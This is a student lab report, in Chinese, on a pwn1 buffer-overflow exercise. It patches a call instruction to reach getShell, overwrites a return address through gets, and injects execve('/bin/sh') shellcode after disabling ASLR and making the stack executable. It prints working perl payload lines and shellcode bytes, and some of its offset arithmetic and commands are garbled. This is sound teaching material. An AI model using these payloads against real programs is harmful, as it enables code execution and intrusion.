20252808 2025-2026-2 《网络攻防实践》第九次作业
20252808 2025-2026-2 《网络攻防实践》第九次作业
一. 实验内容
1.1 实验内容概述
1.1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件 。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
1.1.2 实践内容
实践内容有以下三个:
① 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
② 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
③ 注入一个自己制作的shellcode并运行这段shellcode。
1.1.3 实验要求
① 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码;
② 掌握反汇编与十六进制编程器;
③ 能正确修改机器指令改变程序执行流程;
④ 能正确构造payload 进行bof攻击。
1.2 实验相关知识概述
1.2.1 缓冲区溢出(Buffer Overflow)
缓冲区溢出是一种常见的安全漏洞,当程序尝试将数据写入超出其分配内存空间的区域时发生。攻击者可以利用这种漏洞来覆盖内存中的控制结构,如返回地址,从而改变程序的执行流程。
1.2.2 缓冲区溢出(BoF)攻击
① 原理:程序向缓冲区写入数据时,超出其预先分配的空间,覆盖相邻内存区域数据,若覆盖到函数返回地址等关键信息,程序返回时会跳转到错误地址执行,导致程序崩溃或被攻击者利用执行恶意代码。
② 构造 payload:Payload 通常由填充数据(如 NOP 序列)、恶意代码(如 Shellcode )和用于覆盖返回地址的目标地址组成。通过精心构造 payload,利用 foo 函数的缓冲区溢出漏洞,覆盖返回地址为 getShell 函数地址或自定义 Shellcode 地址,实现触发 getShell 函数或执行自定义 Shellcode 的目的。
1.2.3 Shellcode:
Shellcode是一段恶意代码,通常在缓冲区溢出攻击中使用,目的是在目标系统上执行攻击者的代码。Shellcode需要为特定的处理器架构编写,并且要尽可能地小,以适应可能的内存限制。
1.2.4 反汇编与十六进制编程器
① 反汇编:通过反汇编工具(如 GDB、IDA Pro 等)将机器语言转换为汇编语言,能帮助理解可执行文件内部结构、函数调用逻辑和指令序列,是分析程序漏洞和理解程序运行机制的重要手段。
② 十六进制编程器:如 Hex Fiend、Bless 等工具,可直接查看和编辑文件的十六进制数据。在实验中用于手工修改可执行文件的机器指令,从而改变程序执行流程。
二. 实验过程
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
首先按照实验要求,先将命令行的名字改成自己的学号,输入指令hostnamectl set-hostname 20252808jll,再重启系统即可.

在学习通下载本次实验所需的文件资料pwn1,改名字为pwn20252808后直接拖入kali虚拟机桌面界面,然后解压

使用以下命令对pwn文件进行反编译,并利用管道进行分页显示:
objdump -d pwn20252808 | more

继续下拉查看更多信息,定位到 getshell、foo 及 main 函数:
main函数调用了call foo函数。在读取foo函数的内容会发现,其只会简单回显任何用户输入的字符串。而本次实验要求是修改可执行文件,改变程序执行流程,直接跳转到getShell函数。所以这里就需要修改主函数,将主函数main的call foo函数删除,并修改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址。call部分,其代码如下所示:
80484b5 e8 d7 ff ff ff call 8048491 foo
80484b5是当前指针所指地址,e8是call指令的操作码,d7 ff ff ff 就是偏移量,代表目的地址到当前指令指针的下一地址的相对偏移量(即下一条指令的地址,相当于当前指令地址+4)。
综上所述,可得出计算公式为:目的地址 - 当前地址+4(即下一指令地址)= 偏移量
计算过程:
8048491 - 80484ba = 偏移量 = -41。(结果为-41,故采用补码表示:0xffffffd7)
在计算机组成原理中我们曾学习过,计算机的数据存储方式为高右低左(即高位放低地址(右边),低位放高地址(左边)),因此上述结果在计算机中存储为:0xd7ffffff 。
若要调用getShell,根据公式计算可得:
0804847d(getShell函数首地址)- 80484ba = -61 = 0xffffff3c
计算机存储为0xc3ffffff。

使用vim pwn20252808命令打开pwn文件,输入指令:%!xxd以十六进制形式查看

使用/e8 d7ff命令查找要修改的内容

将d7修改为c3

执行 :%!xxd -r 命令还原为原文件格式,保存并退出编辑。

再次对文件进行反汇编找到main函数,发现修改成功

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
重新拷贝一份文件到kali虚拟机中,输入命令objdump -d pwn20252808jll1 | more反汇编未修改过的文件
查看以下foo的反汇编代码。foo只调用了gets和puts两个函数,即foo函数只读取shell当中进行的输入,并进行输出。由缓冲区溢出原理可知,当输入的字符串超出了foo函数的缓冲区容量,就会发生缓冲区溢出的情况,同时还需要确保最后4个字节为getShell的地址 0x0804847d。所以只需将foo函数的栈中的return地址修改为getShell的地址,就能达到实现获取shell的效果,实现缓冲区溢出(0x0804847d在指令中应该写为\x7d\x84\x04\x08)。
分析可知,foo函数总共有0x38个字节作为存储范围,其中,有0x1c,即总共28字节供应gets使用。所以只要gets得到的字符串为28+4=32字节时就会发生缓冲区溢出,即gets的内容将覆盖寄存器,且返回地址变为getshell函数的地址。

使用以下命令将一段较长的字符串输入并定向和存储到命名为input20252808的文件中。
perl -e 'print "jjjjjjjjlllllllll20252808\x7d\x84\x04\x08"' > input20252808
2.3 注入一个自己制作的shellcode并运行这段shellcode
在 Kali 虚拟机中安装execstack
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
使用sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb解压缩包

设置pwn20252808jll1程序堆栈可执行,并进一步查询是否设置成功。
execstack -s pwn20252808jll1
execstack -q pwn20252808jll1

查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭
more /proc/sys/kernel/randomize_va_space echo 0
sudo tee /proc/sys/kernel/randomize_va_space

使用输出重定向将perl生成的字符串存储到attack_20252808jll文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > attack_20252808jll

文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20252808jll1进程号为25183
终端1:(cat attack_20252808jll;cat) | ./pwn20252808jll1
终端2:ps -ef | grep pwn20252808jll1

再开一个终端对pwn20252808jll1文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。
gdb pwn20252808jll1
attach 25183
disassemble foo
break *0x080484ae

终端1按回车后,再终端3输入c继续运行。查看栈顶指针所在的位置为0xffffcf2c,0x04030201为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcf2c + 4 = 0xffffcf30,是0xffffcf30。
info r esp
x/16x 0xffffcf2c

退出gbd调试,重新构造 attack_20252808jll文件。并输入常见指令测试是否拿到shell,成功!
perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > attack_20252808jll
(cat attack_20252808jll;cat) | ./pwn20252808jll1
ls

三. 学习中遇到的问题及解决
问题1:execstack程序文件下载不成功。
解决方案:查询资料发现是DNS服务器缘故。
问题2:execstack文件无法解压。
解决方案:查询资料后发现是前面使用命令安装进程占用虚拟机资源,使用kill命令结束进程即可成功。
问题3:未能成功关闭地址随机化
解决方案:查询资料后发现是前面使用命令出错,更改命令即可成功。
四. 学习感悟、思考
在本次实验,与前面实验不同之处在于此次实验实现了三种能获取shell的方式。实验期间,我深入了解了什么是缓冲区溢出、反汇编以及十六进制编程器等知识,并知晓其之间的区别和联系,对反编译并修改可执行文件进行了掌握。更深入了解gdb调试以及如何正确构造payload进行攻击,让我对网络安全的学习更加深入。同时,此次实验遇到的问题是真多,解决这些问题大大提高了我的纠错水平,拓展了我在网络攻防技术领域的知识储备,强化了相关知识要点,为后续开展网络攻防实验筑牢根基。
浙公网安备 33010602011771号